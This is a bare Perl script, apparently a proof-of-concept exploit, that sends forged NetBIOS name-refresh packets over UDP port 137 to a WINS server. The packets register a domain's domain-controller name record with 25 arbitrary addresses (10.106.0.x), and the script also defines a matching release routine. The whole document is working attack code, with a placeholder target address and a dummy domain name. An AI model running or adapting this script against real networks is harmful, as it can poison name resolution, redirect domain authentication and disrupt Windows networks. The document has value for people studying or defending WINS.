use Socket;

$WINSAddress = "XXX.XXX.XXX.XXX"; #IP Address or Host/NetBIOS name
$DomainName = "AAADUMMY"; #Must be all caps
$SequenceNumber = 0x8000;
socket(SOCKET, PF_INET, SOCK_DGRAM, getprotobyname("udp")) or die "Socket not created $!\n";
$destAddress = inet_aton($WINSAddress);
$destPort = sockaddr_in(137, $destAddress);

for ($i=1;$i<=25; $i++)
	{SendRefresh ($DomainName, 0x1C, "\x0a\x6a\x00" . chr ($i))}

sub Sequence
{
	my ($high, $low, $str);
	$high = $SequenceNumber >> 8;
	$low = $SequenceNumber % 256;
	$SequenceNumber += 2;
	$str = chr($high) . chr ($low);
	return $str;
}

sub SendRelease
{
	my ($tempname, $data);
	$tempname = NetBIOSName ($_[0], $_[1]);
	$data = Sequence () . "\x30\x00\x00\x01\x00\x00\x00\x00\x00\x01\x20" . $tempname . "\x00\x00\x20\x00\x01\xc0\x0c\x00\x20\x00\x01\x00\x00\x00\x00\x00\x06\x20\x00" . $_[2];
	send (SOCKET, $data, 0, $destPort) == length($data) or die "Failed to send packet: $!\n";
}
	
sub SendRefresh
{
	my ($tempname, $data);
	$tempname = NetBIOSName ($_[0], $_[1]);
	$data = Sequence () . "\x29\x00\x00\x01\x00\x00\x00\x00\x00\x01\x20" . $tempname . "\x00\x00\x20\x00\x01\xc0\x0c\x00\x20\x00\x01\x00\x04\x93\xe0\x00\x06\xe0\x00" . $_[2];
	send (SOCKET, $data, 0, $destPort) == length($data) or die "Failed to send packet: $!\n";
}

sub NetBIOSName
{
	my ($c, $ord, $high, $low, $tempname);
	while ($_[0] =~ /(.)/g)
	{
		$c++;
		$ord = ord ($1);
		$high = $ord >> 4;
		$low = $ord % 16;
		$tempname .= chr($high +65) . chr($low +65);
	}
	for (;$c<15;$c++)
		{$tempname .= "\x43\x41"}
	$high = $_[1] >> 4;
	$low = $_[1] % 16;
	$tempname .= chr($high +65) . chr($low +65);
	return $tempname;
}